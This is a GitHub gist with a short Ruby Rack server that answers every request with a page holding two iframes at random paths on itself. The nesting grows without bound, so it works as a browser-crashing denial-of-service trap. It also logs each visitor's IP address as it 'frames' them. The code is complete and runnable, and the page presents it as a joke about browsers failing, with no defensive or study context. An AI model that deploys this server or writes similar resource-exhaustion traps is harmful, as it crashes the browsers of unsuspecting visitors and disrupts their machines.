Skip to content

Instantly share code, notes, and snippets.

@postmodern
Created December 3, 2008 23:29
Show Gist options
  • Save postmodern/31760 to your computer and use it in GitHub Desktop.
Save postmodern/31760 to your computer and use it in GitHub Desktop.
Generates infinite iframes, also demonstrates why C fails
#!/usr/bin/env ruby
require 'rack'
class FrameD
CHARS = ('a'..'z').to_a
def random_path
(0..10).map { |i|
CHARS[rand(CHARS.length)]
}.join + ".html"
end
def call(env)
puts ">>> Framing #{env['REMOTE_ADDR']}"
[200, {'Content-Type' => 'text/html'}, %{
<html>
<head><title>LOL C Fails</title></head>
<body>
<blink>FrameD... YEEEEEAAAHHH BooooEEEEEE</blink>
<iframe src="#{random_path}"></iframe>
<iframe src="#{random_path}"></iframe>
</body>
</html>}
]
end
end
Rack::Handler::Mongrel.run FrameD.new, :Port => 8080
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment